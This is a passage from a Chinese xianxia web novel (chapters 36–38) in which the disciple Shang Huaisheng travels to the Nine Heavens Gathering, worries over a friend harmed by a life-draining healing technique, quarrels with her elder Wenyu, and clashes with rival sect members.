商怀笙努努嘴,歪头看了眼他手里的书,“狐族合欢秘法?师兄,你一本正经的模样,结果看的是这种东西?” “咳!”元妄俊脸一红,将书本倒扣,“我是为了正事,你也知道九天盛会在即。” 商怀笙:“九天盛会需要什么合欢秘法?师兄,你心怀不轨。” 元妄:“呸!我还不是为了帮你,这是你第一次去参加九天盛会,当然要做好完全的准备!” 商怀笙更加不解:“这和我有什么关系?” “你既已结器,除了寻常的弟子试炼外,还会有一场境外试炼,由潮海阁将你们传送到那些未曾开化的极恶之地,待够七日,或是斩杀恶兽,才算过关。” 商怀笙懵懂,“这是什么,为何没听丰宝他们提起过?” “境外试炼是各门派结器期弟子自愿参加的,与那些小打小闹不同,入境前需得签下生死状,不乏有人命丧于此。” “啊?不能不参加吗?为什么要上赶着去送死?” “可以是可以,但是九天盛会难得,且试炼地点皆由天机阁选择,危机四伏却也充满宝藏,稀世珍宝,灵丹妙药,曾经有人寻到过极品灵器,从一个名不见经传的外门弟子一跃成为宗主亲传,如今已是掌门之位,这种扬名立万的好机会,但凡有野心的修士都不会错过。” 商怀笙听明白了,“听起来诱人,但是哪有性命重要?” 元妄眸中浮起担忧之色,“其实近些年境外试炼的难度已经大大降低了,百年前一次意外,那次试炼遇到了千年难遇的妖群,参加试炼的二十三人中,折损过半。能参加的都是宗门中的翘楚,损伤的是各宗门的精锐力量。 意外之后,九天盛会停办三十年,重新开办后,只是举行寻常的竞技,并没有重启九幽幻境的境外试炼,今年是时隔百年后的第一次重启。” 偏偏就赶上了商怀笙第一次参加,元妄难免会担心。 商怀笙听完,眉头蹙起,“都出事了,为什么还要举办?竟然知道有危险,不参加不就行了吗?” 元妄轻叹,“还是那句话,扬名立万,得道飞升,这诱惑太大。” 商怀笙若有所思地点点头,元妄的目光落在她脸上,神色复杂。 “而且,九天盛会中给不同段位的弟子分设比赛,结器期以上比赛排名前三的,必须参加九幽幻境的试炼。” 商怀笙嘁了一声,“刚才还说可以自愿呢。” “能在比赛中生出的都是各宗门的佼佼者,他们必然不会做出让师门丢脸的事情,临阵脱逃是懦夫的表现。”元妄道。 商怀笙点点头,坏笑道:“那我就努力得个名次,然后放弃参加,好好丢一丢师父的脸!” “哈哈,那你就等着师父收拾你吧!” 元妄被她逗笑,笑容之下,隐藏着担心。 商怀笙骨子里有股争强好胜的劲儿,如果她争得名次,便会被强制参加试炼——以元妄对商怀笙的了解,她都不需要强制,便会自己参加。 她非池中之物,此次参会,定然会一鸣惊人。 却也有可能招来祸端。 第36章 第三十六章 明知山有虎 秋去冬来, 和神山落下第一场雪的时候,九天盛会的邀请函送到了四水阁。 九天盛会定在腊月,地点在太虚殿, 四季如春的镇化山。 不出所料由程公乐领队, 商怀笙师兄师姐们各自挑选,最后定下十二位弟子同往,而商怀笙作为宋良白弟子, 是第十三位。 丰宝,沙巧,傅秀轩都要参加,正好能和商怀笙作伴,上一次盛会丰宝还在识灵期,被凌枫院的人暴打, 在识灵期修士的比赛中止步八强, 这次满腔热血, 定要大展宏图。 至于三山宗那边,不出所料地有金田, 名单上十五位弟子, 至少有十人跟商怀笙打过架,且都是她的手下败将。 只是这次的带队之人…… “为什么是你?”商怀笙不解地看向问玉,“你又没有徒弟,难道你要参会?” 问玉正在批她默写的心法, 眼皮都没抬一下, “是太虚殿的人请我去, 我闭关百年,许是有人想见见我。” “他们请你?上门请的吗?”商怀笙满脸好奇,她听过问玉的故事, 知道他曾在九天盛会一鸣惊人,“你也参加过境外试炼吗?你参加的时候九幽幻境应该还在吧?” 听到这话,问玉动作微滞,“参加过。” 商怀笙:“你们那次参加了几个人,活着回来几个?” “你问这个做什么?” “听说有一次试炼出了意外,死伤惨重。” “……” 商怀笙打量着他的神色,平日几乎没有的观察力在这种时候反倒敏锐起来,“啊!不会就是你们那一届吧?” 问玉不愿说话,低头在纸上划来划去,商怀笙还想追问,不过听闻那时候情况惨烈,想来问玉也不愿意再回忆。 商怀笙便换了个话题,“你参加的时候几岁啊?想来应该年纪不大,你又闭关百年,所以你现在也就百岁出头?” 问玉抬眸瞥她一眼,脸色微愠,“不要打听旁人的私事。” “年纪而已,我叫了你这么长时间的师叔,你连年纪都不告诉我?” “不告诉。” “啊?小气!” 问玉鼻腔中发出一声轻哼,“你有研究这个的功夫,不如再背背心法。今年是百年来第一次重启九幽幻境,也许会有许多未知的危险,你好好表现,别给我丢脸。” “丢脸也是丢我师父的脸,你怕什么?”商怀笙嬉皮笑脸道,“怕咱俩私会的事情传出去?” “你——!”问玉脸颊乍红,“注意你的言辞!” 商怀笙歪头,一副无辜的模样,“我说啥了?” 问玉白她一眼,低头翻动纸张,眼睛看似在书本上,手却翻了一页又一页,根本没有用心。 宋良白前几日又来找过他一次,问玉拒绝了收商怀笙为徒的提议,宋良白追问他原因,问玉没有回答。 从前他有种种需要考量之事,不想收徒,现在却是不敢。 引梦香后已有半月,他原以为这件事就这么结束了,可这几日夜夜梦见当初的情景,屏风上交缠的身影,耳鬓厮磨间的喘息,历历在目。 几次他都看清了对方小臂上的红痣,偏偏看不到对方的脸。 可有一次,他听到了对方的声音,咬着他的耳垂,哑声问他:“是不是捏疼你了?” 声线与日曜城时商怀笙的声音重叠,问玉猛然惊醒,再见商怀笙,竟有些分不清现实与梦境。 梦里的人似乎也这样,说话没大没小,让人止不住嫌弃,但又坦诚得可爱,轻易便被套出话来,说完又追悔莫及,暗暗懊恼。 他越来越觉得梦里那个人就是商怀笙,可又不敢妄下定论,怕是因为自己与商怀笙接触太多,影响了梦境,才会这样混淆。 况且,若那人真是商怀笙,她能有这么大的胆子,顶风作案,在他眼皮子底下晃悠? 他减少与商怀笙见面的次数,她不在眼前晃悠,问玉内心也能平静些,能缓缓梳理内心杂乱的情绪。 本来这次九天盛会他不打算去的,想趁这个机会去拜访凌枫院,可听闻要重启境外试炼,他便改了主意。 断龙已然问世,想必消息也早已传到各大宗门,他甚至觉得这次突然增加境外试炼,也是因为断龙的缘故。 所以他得陪商怀笙同去,万一断龙失控,有他在至少不会出什么岔子。 眨眼又过去半个月,离九天盛会的时间越来越近,山上下起小雨,雾气氤氲,石阶苔痕渐深,湿气也重,康山那棵梨树一夜间掉光了叶子,只剩光秃秃的树干。 商怀笙巴巴地等着它结梨子,没想到这树只开花不结果,大失所望,上课都没什么兴致。 雨后初晴,山色青沐,四周青得晃眼,绿得发亮,唯这棵梨树秃的难看。 商怀笙吐槽几句,问玉将手一挥,树枝轻颤,发出细微的“咔咔”声响,只是眨眼的功夫,青灰色的树皮下便鼓起一个个小包,“啪”的一声探出嫩芽,以肉眼可见地速度生长,商怀笙来不及诧异,枯树便披上绿衣,嫩叶层层叠叠,甚至还挂着露珠,宛如初春。 商怀笙满眼惊讶:“师叔,我想学这个!” “你先将你的剑术练好吧,不日便要启程去太虚殿,若是在仙门弟子的论道大会上落了下风,以后你也不必再来见我。” 商怀笙叉腰:“那若是我拔得头筹,你教我这个吗?” 问玉轻笑:“若你真能夺魁,别说这么个简单的法术,你想要天上的星星我都能摘给你。” 商怀笙眨眨眼:“当真?” “自然。”问玉道。 商怀笙沉默片刻,忽道:“我得了第一,是作为四水阁的弟子,你教了我许多,也算不得你的功劳,我是不是……我有时在想,我这样偷偷跟着你修行,是不是对不起我师父。” 她说话有些颠三倒四,但问玉明白她的意思,只是淡淡道:“我与你师父师出同门。” 他拒绝收徒后,宋良白便为商怀笙举行了正式的拜师礼,他们师兄弟三人在师父的牌位前重聚,一同参礼。 商怀笙给他奉茶的时候,眼神闪烁,好像他们真的是见不得光的关系。 问玉坦然地接过来,宋良白看着他,眼神中隐隐有些失望。 回忆结束,面前的商怀笙正一脸认真,“既然如此,师父与你兄长为何要分家,各立门派?” 商怀笙知道当年宋良白与年玉闹过矛盾,只是不知是什么原因,他们在年幼时同时拜入徐穆楚门下,情谊深厚,现在即使分道扬镳,见面时也客气有礼,并无那种水火不容,剑拔弩张的气氛。 “可是我师父做错了什么事?” 年玉性格温和,商怀笙下意识觉得并非他的过错,倒是她师父,斤斤计较,睚眦必报。 面对商怀笙的好奇,问玉只是摇头,“不是什么大事,只是师父去世时并未选定掌门,他二人都不愿屈居人下,所以各立门户。” “就这么简单?” “就这么简单。” “这也太……”商怀笙一时想不出什么话语来形容,只觉得儿戏,“年玉不像是这种人啊。” “所以还是你师父,咄咄逼人。”问玉在她眼前晃了下手掌,“你不必想那么多,虽然现在三山宗与四水阁内部关系紧张,但在外人眼里,他们依然是常春阁弟子,你不可给师祖丢脸。” 商怀笙摸摸鼻子,扬起灿烂而自信的笑容,“那是当然!” * 转眼便到了启程的时候,问玉与年玉的大弟子沈永山同往,一应事宜皆有他操办,自己只需同去镇场便可。 如他所说,虽然两家弟子水火不容,但还是要一同去的,程公乐有些怕他,凡事都与沈永山商议,有他在的场合都避免出席。 临行前夜,问玉,年玉,宋良白又在同睦殿重聚,上一次三人为商怀笙一事争论,为问玉失了清白一事商议,今日再聚,只有对门下弟子的担忧。 说来说去,最担心的还是商怀笙。 “怀笙已经结器,你将她教的很好。”宋良白道。 商怀笙破境的事情,是她主动向宋良白提起,而问玉暗中教导商怀笙,则是他主动坦白,宋良白劈头盖脸将他骂了一顿,恼怒他觊觎自己徒弟。 但宋良白早有让问玉收商怀笙为徒的念头,虽心有不甘,也只能吃下哑巴亏,又有问玉叮嘱,不能在商怀笙面前表现出来,眼睁睁看着她胳膊肘往外拐。 一想起来,宋良白气得吹胡子瞪眼,“我不明白,你既然已经开始教授她,为何不肯大大方方地举行拜师礼?我告诉你,她现在已经是我的徒弟了,你后悔也来不及!” 问玉一句话便让他闭上嘴,“商怀笙对四水阁同门有多在意,与三山宗的人积怨多深,你又不是不知道。” “都是师父的徒弟,你教他教又有什么区别。”年玉出来打断二人,将话题拉回到九天盛会上,“去年,凌枫院的人出尽风头,清溪门崭露头角。虽然这九天盛会本意只是想让各门派弟子友好交流,互相学习,但这两家来势汹汹,今年论道想必十分激烈。” 宋良白:“年轻人就是要有闯的劲儿!坐在那里谈天说地能有什么进步?刀锋相见才能见真章!” 年玉道:“其他人我不担心,点到即止,那商怀笙呢?她有断龙在手,是多少人的眼中钉肉中刺,你想过吗?这次又增加了境外试炼,不知道会选中什么样的地方。” 宋良白摊手,“今日不同往日,有上次的惨烈教训,他们定然会十分小心谨慎。” 两人说着,齐齐将目光落到问玉身上,问玉默不作声,已然沉浸在回忆中。 那是他们第一次探寻南烬沙漠深处,因为从前有许多人出入南烬沙漠斩妖炼丹,所以他们对这次沙漠之行掉以轻心,只当是一次旅行。 可没想到天机阁的人出了错,只知道沙漠内部盘踞着千年凶兽,却没算出流沙之下隐藏着数以万计的鬼妖。 问玉眼睁睁地看着自己的同伴们被啃噬,尸骨无存,他们一路厮杀,在鬼妖群的追杀下苟延残喘,等到外面终于发现不对劲的时候,已经有十二人死在了鬼妖手下,剩下的十一人中,两人金丹被毁,一人断腿,一人瞎了眼睛,其他人多多少少都带着伤。 天机阁的人歉疚不已,揽下了清理鬼妖群的担子,花了十年的时间造就了现在能安全出入的南烬沙漠,但这背后,是二十三人无法磨灭的伤痛。 年玉轻拍他的肩膀,道:“这些年来,不少门派都提议重启九幽幻境,虽说当年出现意外,但对修道者来说是绝佳的提升机会,危机与成就并行,早在你们那届之前,便已经有人在境外试炼中殒命,明知山有虎,偏向虎山行,你当初参加时,不也是秉持着这样的信念吗?” 问玉抬头,轻声应道:“是。” “不必太担心。”年玉道。 第37章 第三十七章 少管我 商怀笙进入四水阁这些年, 没少跟着宗门中的人一起下山,但还是头一次和这么多人一起,十几个人的队伍十分壮大, 出入客栈时也是浩浩荡荡的, 让人觉得十分新鲜。 太虚殿在南方临海处,四水阁偏北,即使御剑昼夜赶路, 也要三日的路程。 他们提前启程,打算在九天盛会前养精蓄锐,五日内抵达,一路上走走逛逛,即将抵达的前一日,他们歇在了栖霞谷与落凤原的交界处。 栖霞谷位于南方群山之中, 依山而建, 山谷中有一条清澈的河流“霞光河”穿城而过, 地形狭长,从西向东几乎贯穿了整个庆州大陆, 是北方宗门去往太虚殿的必经之地。 商怀笙他们下榻的客栈中, 便有许多修士出没,但都是商怀笙没听说过的门派。 栖霞谷现任谷主为相文客,商怀笙在那日晚宴暴露身份之后,便再没见过他。 近半年没来过人界, 庆州的局势似乎发生了很大的变化, 陆雪青因病休养, 暂由其亲信颜麟代督主一位,相文客半年没有回栖霞谷,他的儿子现在主理栖霞谷大小事务, 只有云月都稳如泰山,在商叙的带领下井然有序。 听客栈的人闲聊说,相文客至今还留在日曜城,李昱辰重病,太子李承允亲政,相文客辅佐。 坊间早有传言,李承允资质平庸,没有驾驭下臣的本事,一旦李昱辰病逝,相文客定会取而代之。 商怀笙却觉得,李昱辰诡计多端,肯定会在死之前想办法牵制住相文客,让他誓死效忠李承允。 她对李昱辰重病一事并不奇怪,但听到陆雪青抱病,商怀笙心头一震,想起当时陆雪青用归元鬼针为商叙续命,而归元鬼针对对普通人来说消耗极大,难道他是因此才生病的? 毕竟是为了她妹妹才这样,商怀笙难免担心,趁着他们停留在栖霞谷,商怀笙便连夜赶去督主府想见陆雪青一面,却被拦在了门外。 “督主重病昏迷,暂不见客。” 重病。昏迷。 这两个词放在一起,让商怀笙一阵恍惚,她明明记得离开日曜城前与陆雪青见的最后一面,陆雪青面色红润,虽还是有些畏寒,但身体已经大好了,怎么会突然重病? 门外的侍卫不认识商怀笙,将她拦在门外,唯一认识她的颜麟有事外出,商怀笙直接用了隐匿符进去,但督主府内地形复杂,她一直逛到早晨都没找到陆雪青养病的房间。 她出来前程公乐特地叮嘱她要在午时前回去,若是耽误了启程的时间,便把她丢下,让她自己回四水阁去。 里里外外没能找到人,商怀笙也等不到颜麟回来,只能就此作罢,抓紧时间赶了回去。 可她想着陆雪青病重一事,心里总觉得不踏实。 此番高明叶与程公乐都不在宗门中,吕悠作为医修陪同,秦湫作为三弟子,被留下来打理门中事务。 在她身边的只剩下元妄,商怀笙与他谈论起此事,忧心忡忡,“陆雪青怎的就突然病重了?还是说他早就已经生病,只是我不知道?” 距离两人上次相见也有半年了,这期间商怀笙与商叙传过几次书信,从没听说过陆雪青生病的事情,难道他连商叙也瞒着? 元妄知道归元鬼针的事情,但他没有做过研究,只知道这东西对身体消耗巨大,凡人尤其如此,“归元鬼针乃是天泉医谷的医修都不敢轻易触碰的针法,我瞧他状态不错,还当他是天赋异禀。” 见商怀笙脸色难看,元妄劝慰道:“你若放心不下,不如去问问吕悠?看看有没有什么补救之法?” 元妄说完,商怀笙便去了去寻吕悠,找到她时却见她在和问玉喝茶,两双眼睛朝她看过来,看着问玉手中的茶盏,商怀笙一时语塞。 “怎么了,火急火燎的?”吕悠问。 商怀笙瞥了问玉一眼,“有些私事。” 问玉了然,眼角微挑,放下茶盏,却没有起身,“私事也要讲究先来后到。” 商怀笙撇嘴,问玉茶盏里的东西呈现深紫色,根本就不是普通的茶水,这段时间他为了恢复记忆,向吕悠要了许多乱七八糟的药物,都快成吕悠试药的药人了。 这次四水阁与三山宗同行,虽然两队人马并不多做交流,但相同的路线,几乎每次都能看到对方的影子。 “师叔,你的事似乎也不急于一时。” 私下商怀笙与问玉的关系已经亲近许多,但是一开口还是忍不住夹枪带棒。 问玉盖住杯口,目光幽幽地看过来,“那你说,你有什么急事?” “我要单独跟师姐说。” 商怀笙直直地盯着他,半点不肯让步的样子。 问玉本也只是和她揶揄几句,见她神色严肃,便主动起身,“那我便不打扰了。” 他转身便走,商怀笙设下隔音结界,坐到吕悠面前。 吕悠笑道:“连结界都要设下,看来真是私事?” 商怀笙牵了牵唇角,“师姐,你知道归元鬼针吗?” 吕悠微顿,思索片刻,道,“知道啊,天泉医谷的秘法,听闻有起死回生的功效,且非亲传弟子不得私自学习,当年他们要让我拜入天泉医谷,还说过要教我。” “那后来呢?”商怀笙问。 “我当时已经拜入师父门下,知遇之恩,哪能做出那种忘恩负义之事,况且这归元鬼针也不算什么好东西,虽然效果显著,对施术之人却损害极大。” 商怀笙又问,“对修道者也有损伤吗?” “自然。” “那对凡人呢?” 吕悠笑着摇摇头,“凡人是没办法使用归元鬼针的,这需要真气来催动,若非要使用,那便是用自身寿元了,一次施针十年寿元……不过这都是传言,我还从没听说过有凡人习得此术。” 商怀笙神色紧张起来,追问道,“那没有旁的法子补救吗?那些延年益寿的灵丹……” “归元鬼针对未曾修行过的凡人来说,宛如催命的毒药,会使气血逆流,施术者身体状况已经和旁人不同,那些丹药对他来说反倒是毒药。” 商怀笙没想到事情会这么严重,吕悠绝不会拿人命来开玩笑,她咬紧下唇,像是有什么东西哽在喉间,她肩膀微微颤抖着,眸中浮漫一层水雾。 陆雪青是为了商叙才会使用归元鬼针,他未必会知道归元鬼针的危害,但肯定能感受到自己身体的变化,可他还是一次一次地施针救人。 他正值青春年华,前途光明,若真因此失去了性命……那这是她欠陆雪青的,生生世世都无法偿还的恩情。 “怀笙?”吕悠歪头,才发现她神色有异,语中多了担心,“怎么了?怎么突然问起这个?” 商怀笙开口,有几分哽咽,“此番去往日曜城,恰逢我妹妹重病,我得知她身边有个朋友便是用归元鬼针为她稳住病情。” “朋友?是天泉医谷的人吗?” “不,只是未曾修行过的凡人。” “凡人?”吕悠眉头皱起,“用了几次了?” 商怀笙:“或许……很多次?” 吕悠脸上是万分惊讶的神色,“很多次?他从未修行过?他如今多大岁数了?” 商怀笙心中一沉,“约莫二十三四?” “嘶——”吕悠倒吸一口凉气,“这么年轻,真是可惜。能使用归元鬼针,想必颇有天赋。” 商怀笙听出她这话的言外之意,便是认定陆雪青已经命不久矣,一时心中发急:“师姐,没有旁的法子了吗?” 吕悠道:“若是天泉医谷的人或许能有办法,可是这归元鬼针是天泉医谷秘法,他一个凡人如何习得?如果去找他们帮忙,必然要解释许多……” 她说着,见商怀笙眼眶中眼泪积聚,不禁伸手抱住她,却不知道该作何安慰。 能舍命为怀笙的妹妹治病,想必与她们关系匪浅,可惜天妒英才,吕悠不清楚归元鬼针,自然也无能为力。 商怀笙手握成拳,将已经到眼眶的眼泪又憋了回去,“师姐,我知道了,多谢师姐。” 她心中已经有了法子,这次盛会天泉医谷的人必然会参加,到时候看到谁医术好,她威逼利诱将人带过去给陆雪青医治便可。 都传天泉医谷医者仁心,她就不信他们连一个凡人都救不了。 商怀笙拜别吕悠,独自走出房门,拐角处却遇到了问玉。 她低下头,不想让问玉看到自己的表情,问玉却已经瞥见她泛红的眼角,不由得皱起眉心。 “可是你们阁中弟子出了什么事情?” 他鲜少见到商怀笙这幅表情,想来肯定和她亲近之人有关。 商怀笙摇摇头,“不是。” 问玉又问,“那你怎么这幅模样?” 商怀笙沉默片刻,道,“陆雪青用了归元鬼针,危在旦夕。” “……” “归元鬼针对人体损害极大,你早知道吗?” 问玉脸上没有太大的表情,商怀笙便猜到他的答案,心中不免多了几分埋怨,若是问玉早点告诉她,她便能早点去寻找解决之法,也不必现在为了陆雪青的病内疚担心至此。 商怀笙自知问玉没有跟她讲述这些的义务,但还是忍不住怪罪,满腔的情绪亟待着一个发泄口。 问玉望着她的脸颊,闪动的双睫,不加掩饰的担心,以及那一丝幽怨的目光,都没能逃脱他的双眼。 他伸出手,情不自禁地拂过商怀笙眼角,指腹一片湿润。 商怀笙听到问玉冷笑一声,“就这么担心?” “他是因为我妹妹才变成这样,我自然担心。” “这是你的真心话,还是借口?” 商怀笙抬眸,有些看不懂问玉的反应,“当然是真心话,这种事需要找什么借口?虽然你与陆雪青并不熟识,但有日曜城的缘分在,也不必冷淡至此吧?就算你不在意,我担心他,又与你何干?” 问玉眸中的温度渐渐冷却,本想告诉商怀笙陆雪青不会有事,他早已去了天泉医谷,可听到商怀笙这番话,他心中莫名升起一阵怒火,话到嘴边,成了讥讽,“你早知他身体不适,现在才来质问,你又在假装什么知恩图报?” “你——!” 商怀笙被他怼的无话可说,迟来的内疚积压在胸口,无处发泄,问玉嘲弄的神色更是让人愤怒不已。 商怀笙抬拳,重重砸在一旁的木柱之上,“咔擦”一声爆响,木屑四溅,碗口粗的柱子剧烈震颤,留下拳头大小深坑,裂开一条狰狞的缝隙,并迅速往上蔓延。 “商怀笙!你在闹什么?!” 整间客栈都跟着晃了晃,灰尘簌簌落下,柱身摇摇欲坠,问玉扫一眼商怀笙沾着木屑的指节,面露愠色。 “你又不是四水阁的人,少管我。” 商怀笙伸手将摇晃的柱身扶住,待它稳定后,撂下这句话便转身离开。 第38章 第三十八章 天工阁的人 第二日傍晚, 他们抵达镇化山,住进了太虚殿提前给他们安排好的住处。 四水阁与三山宗分家多年,虽然一直是以两个门派的名义参加九天盛会, 但次次都被安排在同一住所, 镇化山西方的春荣小筑。 商怀笙与沙巧住在同一个房间,两人将房间收拾好,坐下准备喝杯茶, 沙巧泡上降火的菊花清茶,打量着昨日起便沉闷不语的商怀笙。 “你和师叔祖吵架了?” 沙巧说完,商怀笙没有立即反应,片刻后才抬起头,问:“谁?” “问玉啊。”沙巧说完,果然见商怀笙的脸色又阴沉几分, “昨日便见你闷闷不乐, 师叔祖那边也是一副生人勿进的冷漠态度, 你们俩这一路上虽没什么交谈,但是经常有眼神交流, 这两日完全是一副陌生人的样子。” 沙巧分析得头头是道, 她观察入微,能注意到旁人注意不到的细枝末节,许多八卦都是经由她分析得来,后来大都得到验证。 商怀笙抿唇, 连反驳都找不到理由, 不由得有几分心虚, “哪里的话,我和他不熟。” “不熟?”沙巧眯起眼睛,“虽然我入门晚, 没有见过从前的师叔祖,但也听说过他的脾性,我师父都怕他怕成那样,你却能虎口夺食,在他那里分到点心,你们这关系肯定不一般。” 商怀笙眼神闪躲,不敢直视她的视线,“只是他恰好不喜欢吃。” “不喜欢吃也该给三山宗的人,怎么就任由你拿走了?哇,你是不知道我师父有多震惊。”沙巧敲敲茶杯,语中带着几分调侃,“我听傅秀轩提起,你和问玉师叔祖前后脚从她师父那里出来,之后你们俩便开始冷战,而且我看到客栈的柱子有了裂痕,是你干的吧?” “我……”商怀笙的手指绞紧衣角,低头看着茶水,反正她也不擅长狡辩,干脆破罐子破摔,“是我干的,那又怎样?” 沙巧扬唇,露出一副“我就知道”的神色,“果然啊,昨天离开客栈前,我看师叔祖自己在那里用法术修复呢,你俩是不是就在那里吵得架?” “……” 她连这个都猜出来了,商怀笙彻底败下阵来,举手投降,“是是是,你这份心思用在修行上,修为早就能超过丰宝了。” 沙巧嘁了一声,“听听,被拆穿了就开始拿长辈身份来压我了,你刚进入四水阁的时候,我还给你做过衣裳呢。” 商怀笙捂着脑袋,“这事儿你告诉过旁人没有?” “还用告诉旁人,明眼人都能看出来你俩情绪不佳。”商怀笙一个眼刀飞过来,沙巧又找补道,“不过他们只当是你们闹矛盾,却不知其中原因,毕竟三山宗和四水阁本来就不对付……但我却是好奇,你们俩为何会争吵?” “……” 沙巧再善于观察,遇到那种三棍子打不出来一个屁的也没辙,商怀笙闭上嘴,任由她怎么软磨硬泡都不肯说。 沙巧就这样喝了一壶的茶水,最后无可奈何,扔下她去找傅秀轩了。 商怀笙低头将杯子里最后一口茶水饮尽,想起昨日与问玉间的争吵,懊恼地抱住脑袋。 其实她当时便知道此事怪不得问玉,陆雪青是为了她妹妹才会这样,这是他们家的事情,和问玉没有关系,而问玉又是那样的性格,平日里说些讥讽的话也不奇怪。 可她偏偏觉得那时问玉的话尤其刺耳,好像她是个明知道陆雪青的感情,却在利用他,事后又装模作样地来关心的卑鄙小人。 商怀笙正因陆雪青的事情内疚,问玉还说了那种话刺激她,商怀笙才没忍住也跟着口出恶言,说到底还是心里憋闷的情绪需要发泄,而问玉恰好撞上枪口。 ……这事儿也不能全怨她,谁让问玉漠视生命,说出那种话! 商怀笙跟他赌气,也跟自己赌气,不肯先低下头来跟他说话,问玉作为在外处处受人尊敬的长辈,更不可能主动跟她讲话,两人便这样你不理我我不理你,在外人看来就像是闹了矛盾。 唉—— 本来就烦,问玉还分在了他们对面的房间,隔着两个回廊和中间的院子,一出门便能见到,商怀笙都不想出门了。 她本来想回床上躺着,沙巧又带着傅秀轩来闹她,拉着她去逛一逛春荣小筑后的花园,有许多奇花异草。 商怀笙半推半就,被她们架着出来,结果一出门就看到了对面走廊下站着的问玉,他正对着沈永山嘱咐什么,沈永山低头听着,脸上满是敬畏。 他微微抬头,冷不丁地对上商怀笙的视线,目光深幽,商怀笙脸色一僵,心脏像被小鼓敲了一下,飞快移开视线,反手拉着沙巧和傅秀轩快步离开。 “……就这些吧,你叮嘱好宗中弟子,隔壁便是凌枫院与天工阁,行事不宜张扬。” “是。”沈永山微微颔首,正准备离开,又听见问玉叫他。 “永山,你知道天泉医谷的人住在何处吗?” “嗯……许是在北边的荔香院,他们这次来的不多,只来了八位弟子,师叔有事需要弟子转达?” “不必了,你去忙吧。” 问玉挥挥手,目光落在商怀笙刚才消失的走廊尽头,无声地叹了口气。 这小犟种居然真的不理他了。 就因为他没告诉她陆雪青生病的事情? 实在是小气。 问玉在心底将商怀笙教训一番,神色却有几分怅惘迷茫,他无法否认,当时没有告诉商怀笙事情的严重性,也是存了私心的。 若是商怀笙知道了,肯定要想方设法地给陆雪青治病,闹出许多事情来,她是不喜欠旁人人情的,又和陆雪青有幼时的缘分,心里一定会时时念着这件事,念着陆雪青。 他一开始选择隐瞒,是觉得修士与凡人有别,注定不能长相厮守,与其给过希望后又将其剥夺,不如一开始便斩断这段缘分。 但从什么时候开始,他的想法开始改变,变得复杂,变得连他自己都弄不清楚…… * 镇化山与囚龙谷一样,从前都是关押凶恶妖魔的地方,后来太虚殿在永焱山下建造了地下牢狱,镇化山便空置下来,后来逐渐被改建成了招待客人的地方。 依沙巧所说,春荣小筑后的花园,原本是用来处刑罪大恶极之徒的地方,埋葬着无数妖魔的尸骨,都成为现在这些花草的肥料,其他地方难以成活的植株,在这里长得异常茂盛。 说是花园,但在商怀笙看来和菜地也没什么区别,一眼望去全是各种奇形怪状的植物,长得比人还高的草,艳丽诡异的花,都被圈在一块四四方方的土地里,模斜穿插长在一起,不同植株的藤蔓与树枝交缠,看起来乱糟糟的。 商怀笙没看到什么漂亮的花儿,傅秀轩倒是兴趣浓厚,“这地方的花草虽然看起来杂乱,但是乱中有序,根据药性的不同进行分别种植,且都是难得的药草。” 商怀笙瞪大眼睛看了半天,也没看出来这乱糟糟的一坨那里有秩序,“既然珍贵,为什么不用结界圈起来,随便得扔在这里,路过的人不认识的就踩上去了。” 傅秀轩无奈地瞥她一眼,介绍道,“这是冰火草,对治疗外伤有着极佳的疗效,但是对生长温度的要求极为苛刻,稍微不顺心就会立马枯死,而且至少三年才能结一次果,我师父养了十几年也才养活了两三株,在这里然长了这么大一片。” 傅秀轩和她师父一样是医修,看着深绿色的叶片下坠着大簇橙红色圆果,两眼放光,“我还是第一次见到成熟的冰火果,我来之后师父就再也没种活过了。” 她弯下腰,伸手悬停在叶片的上方,开口道:“不过这冰火草不能啊——!” 一道疾风划过,两滴鲜血从傅秀轩指腹落下,砸到冰火草叶片上,刚才还安静的叶片忽的伸展开来,发出簌簌的声响,叶片表面长出虫齿般细密的触手,迅速将两滴血液吞噬,深绿的叶片透出一丝淡红色,它似乎不知足,剧烈晃动着根茎,找寻着更多的血液来源。 傅秀轩受惊,跌坐在地,沙巧上前扶起她,起身时却发现她裙摆上钉了一枚细长的暗器,通体银白色,地步细长如同银针,深深插/进土壤,顶部则是椭圆柱体,雕刻着繁复的花纹,顶部凹陷处系着一截手指长度的飘带,在阳光下闪烁着光芒,上面一个明晃晃的“李”字。 “这么多年过去,常春阁的人还是这般没有礼教。” 一个陌生的男声响起,商怀笙弯腰把那暗器拿起来,顺着声音的来处望去,隔壁院落后门站着个身着淡紫色锦袍的年轻男子,两道剑眉斜飞入鬓,眉下嵌着一双琥珀色的眸子,嘴角噙着几分刻薄的笑意。 “李迎灯。”丰宝小声道,“天工阁的人。” 天工阁,听到这个名字,商怀笙眼神一凛,更加认真地盯着这个人。 “这冰火草可不是随便什么人都能碰的,若是以肌肤直接触碰,顷刻便被它的利齿刺破血肉。” 李迎灯上前几步,以一种倨傲的神态打量着几人,“况且,你们难道不知道旁人的东西不能乱碰吗?没有教养。” 傅秀轩咬咬牙,手上的血已经止住,但是被利器划破的痛感还在,她道:“我没想碰,而且我知道冰火草的习性。” 李迎灯挑眉,嘲弄道,“那你伸出手,是想跟它打个招呼吗?” 傅秀轩瞥向商怀笙,见她眉头一皱,赶紧给沙巧使了个眼色,沙巧还没反应过来,商怀笙已经开口,“你瞎吗?碰没碰到都看不到?” 李迎灯微愣,“她的确伸出了手……” “那我问你她碰到了吗?”商怀笙举起手里的暗器,“但你的暗器可是切切实实伤到了她,伤了人不知道道歉,你怎么这么没教养?” “你——!”李迎灯面露愠色,“我好心阻止你们犯错,你竟然诬陷我?” “我们犯什么错了?”商怀笙上前几步,站在他面前,“哇,伤了人还颠倒黑白诬陷我们,上次见你这么不要脸的人还是……” “李兄,你与一群未开化的蛮人计较什么?小门派出来的人就是这样,上不得台面。” 一个熟悉的声音打断商怀笙的话语,她转过脸,看到来人,眯起眼睛,继续说道,“巧了,上次见到这么不要脸喜欢颠倒黑白的人,就是他。” 凌盛脸上桀骜的神色一僵,眸色幽深,“李兄,不要和这种人多嘴,降低自己的身份。” 商怀笙啧了一声,看了眼他出来的地方,笑道:“凌大少爷身份尊贵,怎么住我们隔壁了?怎么不花点钱住到太虚殿日升天阁去?” “……” 凌盛深吸一口气,想起上次与商怀笙的交锋,默默劝慰自己不必与傻瓜论长短,无视了商怀笙径直走到李迎灯面前。 “李兄,他们被冰火草所伤也是咎由自取,狗咬吕洞宾,不识好人心,还要倒打一耙的人,和他们争论什么?” 凌盛说完,便听见商怀笙笑了一声,“你也觉得你朋友是狗啊。” “……” 凌盛闭了闭眼睛,从心底升起一股深深的无奈,对上李迎灯的目光,他轻轻摇头。 